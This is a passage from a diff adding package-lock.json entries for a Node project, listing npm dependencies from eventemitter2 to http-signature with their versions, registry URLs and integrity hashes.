"https://registry.npmjs.org/eventemitter2/-/eventemitter2-5.0.1.tgz", + "integrity": "sha512-5EM1GHXycJBS6mauYAbVKT1cVs7POKWb2NXD4Vyt8dDqeZa7LaDK1/sjtL+Zb0lzTpSNil4596Dyu97hz37QLg==" + }, + "node_modules/exif-parser": { + "version": "0.1.12", + "resolved": "https://registry.npmjs.org/exif-parser/-/exif-parser-0.1.12.tgz", + "integrity": "sha512-c2bQfLNbMzLPmzQuOr8fy0csy84WmwnER81W88DzTp9CYNPJ6yzOj2EZAh9pywYpqHnshVLHQJ8WzldAyfY+Iw==" + }, + "node_modules/ext": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz", + "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==", + "dependencies": { + "type": "^2.7.2" + } + }, + "node_modules/ext/node_modules/type": { + "version": "2.7.2", + "resolved": "https://registry.npmjs.org/type/-/type-2.7.2.tgz", + "integrity": "sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw==" + }, + "node_modules/extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "node_modules/extsprintf": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", + "integrity": "sha512-11Ndz7Nv+mvAC1j0ktTa7fAb0vLyGGX+rMHNBYQviQDGU0Hw7lhctJANqbPhu9nV9/izT/IntTgZ7Im/9LJs9g==", + "engines": [ + "node >=0.6.0" + ] + }, + "node_modules/fake-useragent": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/fake-useragent/-/fake-useragent-1.0.1.tgz", + "integrity": "sha512-BOQh1TM//DhrVaeZ+b3w3s4E40rfYcDTn5aoSM2w1xVsZVGglNOzPR5H8KDO8NmF8sT4ppxyb4/MHGIHfZsVDA==" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/fast-json-patch": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/fast-json-patch/-/fast-json-patch-3.1.1.tgz", + "integrity": "sha512-vf6IHUX2SBcA+5/+4883dsIjpBTqmfBjmYiWK1savxQmFk4JfBMLa7ynTYOs1Rolp/T1betJxHiGD3g1Mn8lUQ==" + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==" + }, + "node_modules/fast-redact": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/fast-redact/-/fast-redact-3.3.0.tgz", + "integrity": "sha512-6T5V1QK1u4oF+ATxs1lWUmlEk6P2T9HqJG3e2DnHOdVgZy2rFJBoEnrIedcTXlkAHU/zKC+7KETJ+KGGKwxgMQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/fast-safe-stringify": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", + "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==" + }, + "node_modules/fast-xml-parser": { + "version": "4.2.5", + "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.2.5.tgz", + "integrity": "sha512-B9/wizE4WngqQftFPmdaMYlXoJlJOYxGQOanC77fq9k8+Z0v5dDSVh+3glErdIROP//s/jgb7ZuxKfB8nVyo0g==", + "funding": [ + { + "type": "paypal", + "url": "https://paypal.me/naturalintelligence" + }, + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "optional": true, + "dependencies": { + "strnum": "^1.0.5" + }, + "bin": { + "fxparser": "src/cli/cli.js" + } + }, + "node_modules/fclone": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/fclone/-/fclone-1.0.11.tgz", + "integrity": "sha512-GDqVQezKzRABdeqflsgMr7ktzgF9CyS+p2oe0jJqUY6izSSbhPIQJDpoU4PtGcD7VPM9xh/dVrTu6z1nwgmEGw==" + }, + "node_modules/fetch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/fetch/-/fetch-1.1.0.tgz", + "integrity": "sha512-5O8TwrGzoNblBG/jtK4NFuZwNCkZX6s5GfRNOaGtm+QGJEuNakSC/i2RW0R93KX6E0jVjNXm6O3CRN4Ql3K+yA==", + "dependencies": { + "biskviit": "1.0.1", + "encoding": "0.1.12" + } + }, + "node_modules/figlet": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/figlet/-/figlet-1.6.0.tgz", + "integrity": "sha512-31EQGhCEITv6+hi2ORRPyn3bulaV9Fl4xOdR169cBzH/n1UqcxsiSB/noo6SJdD7Kfb1Ljit+IgR1USvF/XbdA==", + "bin": { + "figlet": "bin/index.js" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/file-type": { + "version": "16.5.4", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-16.5.4.tgz", + "integrity": "sha512-/yFHK0aGjFEgDJjEKP0pWCplsPFPhwyfwevf/pVxiN0tmE4L9LmwWxWukdJSHdoCli4VgQLehjJtwQBnqmsKcw==", + "dependencies": { + "readable-web-to-node-stream": "^3.0.0", + "strtok3": "^6.2.4", + "token-types": "^4.1.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/file-type?sponsor=1" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-replace": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/find-replace/-/find-replace-3.0.0.tgz", + "integrity": "sha512-6Tb2myMioCAgv5kfvP5/PkZZ/ntTpVK39fHY7WkWBgvbeE+VHd/tZuZ4mrC+bxh4cfOZeYKVPaJIZtZXV7GNCQ==", + "dependencies": { + "array-back": "^3.0.1" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fluent-ffmpeg": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/fluent-ffmpeg/-/fluent-ffmpeg-2.1.2.tgz", + "integrity": "sha512-IZTB4kq5GK0DPp7sGQ0q/BWurGHffRtQQwVkiqDgeO6wYJLLV5ZhgNOQ65loZxxuPMKZKZcICCUnaGtlxBiR0Q==", + "dependencies": { + "async": ">=0.2.9", + "which": "^1.1.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/follow-redirects": { + "version": "1.15.2", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz", + "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-each": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz", + "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==", + "dependencies": { + "is-callable": "^1.1.3" + } + }, + "node_modules/forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==", + "engines": { + "node": "*" + } + }, + "node_modules/form-data": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", + "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/formidable": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/formidable/-/formidable-1.2.6.tgz", + "integrity": "sha512-KcpbcpuLNOwrEjnbpMC0gS+X8ciDoZE1kkqzat4a8vrprf+s9pKNQ/QIwWfbfs4ltgmFl3MD177SNTkve3BwGQ==", + "deprecated": "Please upgrade to latest, formidable@v2 or formidable@v3! Check these notes: https://bit.ly/2ZEqIau", + "funding": { + "url": "https://ko-fi.com/tunnckoCore/commissions" + } + }, + "node_modules/fraction.js": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz", + "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==", + "engines": { + "node": "*" + }, + "funding": { + "type": "patreon", + "url": "https://www.patreon.com/infusion" + } + }, + "node_modules/fs": { + "version": "0.0.1-security", + "resolved": "https://registry.npmjs.org/fs/-/fs-0.0.1-security.tgz", + "integrity": "sha512-3XY9e1pP0CVEUCdj5BmfIZxRBTSDycnbqhIOGec9QYtmVH2fbLpj86CFWkrNOkt/Fvty4KZG5lTglL9j/gJ87w==" + }, + "node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "node_modules/futoin-hkdf": { + "version": "1.5.3", + "resolved": "https://registry.npmjs.org/futoin-hkdf/-/futoin-hkdf-1.5.3.tgz", + "integrity": "sha512-SewY5KdMpaoCeh7jachEWFsh1nNlaDjNHZXWqL5IGwtpEYHTgkr2+AMCgNwKWkcc0wpSYrZfR7he4WdmHFtDxQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/g-i-s": { + "version": "2.1.6", + "resolved": "https://registry.npmjs.org/g-i-s/-/g-i-s-2.1.6.tgz", + "integrity": "sha512-55htF0vFQpm6+GBOk6PwjfiNyBRoh9mfo6YvsfYYDqCcj7lSyfX8qn3o2qDw4vY3vja21w9Buxr2Dy4/B1LLvA==", + "dependencies": { + "cheerio": "^1.0.0-rc.3", + "lodash.flatten": "^4.4.0", + "request": "^2.88.2" + } + }, + "node_modules/gauge": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/gauge/-/gauge-1.2.7.tgz", + "integrity": "sha512-fVbU2wRE91yDvKUnrIaQlHKAWKY5e08PmztCrwuH5YVQ+Z/p3d0ny2T48o6uvAAXHIUnfaQdHkmxYbQft1eHVA==", + "dependencies": { + "ansi": "^0.3.0", + "has-unicode": "^2.0.0", + "lodash.pad": "^4.1.0", + "lodash.padend": "^4.1.0", + "lodash.padstart": "^4.1.0" + } + }, + "node_modules/genshin-api": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/genshin-api/-/genshin-api-2.1.0.tgz", + "integrity": "sha512-nNzhAvWaR0K9BFyDTlmNCTW5MIdiHthPeCGIhxGjemb8cF6ZybI+ikohjZPtZ2q6Jfs/XfLltB6m0ex04gGyUQ==", + "dependencies": { + "node-fetch": "2.6.1" + } + }, + "node_modules/genshin-api/node_modules/node-fetch": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz", + "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==", + "engines": { + "node": "4.x || >=6.0.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz", + "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==", + "dependencies": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-uri": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-uri/-/get-uri-6.0.1.tgz", + "integrity": "sha512-7ZqONUVqaabogsYNWlYj0t3YZaL6dhuEueZXGF+/YVmf6dHmaFg8/6psJKqhx9QykIDKzpGcy2cn4oV4YC7V/Q==", + "dependencies": { + "basic-ftp": "^5.0.2", + "data-uri-to-buffer": "^5.0.1", + "debug": "^4.3.4", + "fs-extra": "^8.1.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/get-uri/node_modules/fs-extra": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", + "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/get-uri/node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/get-uri/node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==", + "dependencies": { + "assert-plus": "^1.0.0" + } + }, + "node_modules/gifwrap": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/gifwrap/-/gifwrap-0.9.4.tgz", + "integrity": "sha512-MDMwbhASQuVeD4JKd1fKgNgCRL3fGqMM4WaqpNhWO0JiMOAjbQdumbs4BbBZEy9/M00EHEjKN3HieVhCUlwjeQ==", + "dependencies": { + "image-q": "^4.0.0", + "omggif": "^1.0.10" + } + }, + "node_modules/git-node-fs": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/git-node-fs/-/git-node-fs-1.0.0.tgz", + "integrity": "sha512-bLQypt14llVXBg0S0u8q8HmU7g9p3ysH+NvVlae5vILuUvs759665HvmR5+wb04KjHyjFcDRxdYb4kyNnluMUQ==" + }, + "node_modules/git-sha1": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/git-sha1/-/git-sha1-0.1.2.tgz", + "integrity": "sha512-2e/nZezdVlyCopOCYHeW0onkbZg7xP1Ad6pndPy1rCygeRykefUS6r7oA5cJRGEFvseiaz5a/qUHFVX1dd6Isg==" + }, + "node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/global": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/global/-/global-4.4.0.tgz", + "integrity": "sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==", + "dependencies": { + "min-document": "^2.19.0", + "process": "^0.11.10" + } + }, + "node_modules/google-it": { + "version": "1.6.4", + "resolved": "https://registry.npmjs.org/google-it/-/google-it-1.6.4.tgz", + "integrity": "sha512-iM/31cWQ0wLcBngHSR3l6OwtkqYP93kiQWF74YqyHte/sJ5BFQ60IzCckuetu0LH4//mxYqFlH30nhNuBX/udw==", + "dependencies": { + "cheerio": "^1.0.0-rc.11", + "colors": "^1.4.0", + "command-line-args": "^5.0.0", + "ora": "^4.0.3", + "request": "^2.88.0" + }, + "bin": { + "google-it": "lib/app.js" + } + }, + "node_modules/google-tts-api": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/google-tts-api/-/google-tts-api-2.0.2.tgz", + "integrity": "sha512-MkQYbBJEdom8hJpfEVDfD3tpBtkz0X59C+FNsoRhbnCiFjZRnzyurGQ5OrAr3xkigII56/jmk0JNwZsp450G+Q==", + "dependencies": { + "axios": "^0.21.0" + } + }, + "node_modules/google-tts-api/node_modules/axios": { + "version": "0.21.4", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz", + "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==", + "dependencies": { + "follow-redirects": "^1.14.0" + } + }, + "node_modules/gopd": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.0.1.tgz", + "integrity": "sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==", + "dependencies": { + "get-intrinsic": "^1.1.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/got": { + "version": "11.8.6", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.6.tgz", + "integrity": "sha512-6tfZ91bOr7bOXnK7PRDCGBLa1H4U080YHNaAQ2KsMGlLEzRbk44nsZF2E1IeRc3vtJHPVbKCYgdFbaGO2ljd8g==", + "dependencies": { + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.2", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" + }, + "engines": { + "node": ">=10.19.0" + }, + "funding": { + "url": "https://github.com/sindresorhus/got?sponsor=1" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==" + }, + "node_modules/har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha512-Oqluz6zhGX8cyRaTQlFMPw80bSJVG2x/cFb8ZPhUILGgHka9SsokCCOQgpveePerqidZOrT14ipqfJb7ILcW5Q==", + "engines": { + "node": ">=4" + } + }, + "node_modules/har-validator": { + "version": "5.1.5", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz", + "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", + "deprecated": "this library is no longer supported", + "dependencies": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.0.tgz", + "integrity": "sha512-62DVLZGoiEBDHQyqG4w9xCuZ7eJEwNmJRWw2VY84Oedb7WFcA27fiEVe8oUQx9hAUJ4ekurquucTGwsyO1XGdQ==", + "dependencies": { + "get-intrinsic": "^1.1.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.0.1.tgz", + "integrity": "sha512-7qE+iP+O+bgF9clE5+UoBFzE65mlBiVj3tKCrlNQ0Ogwm0BjpT/gK4SlLYDMybDh5I3TCTKnPPa0oMG7JDYrhg==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.3.tgz", + "integrity": "sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dependencies": { + "has-symbols": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-unicode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==" + }, + "node_modules/html-encoding-sniffer": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz", + "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==", + "dependencies": { + "whatwg-encoding": "^1.0.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/htmlparser2": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-8.0.2.tgz", + "integrity": "sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.0.1", + "entities": "^4.4.0" + } + }, + "node_modules/http-cache-semantics": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.1.tgz", + "integrity": "sha512-er295DKPVsV82j5kw1Gjt+ADA/XYHsajl82cGNQG2eyoPkvgUhX+nDIyelzhIWbbsXP39EHcI6l5tYs2FYqYXQ==" + }, + "node_modules/http-proxy-agent": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", + "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/http-signature": { + "version": "1.2.0", + "resolved": 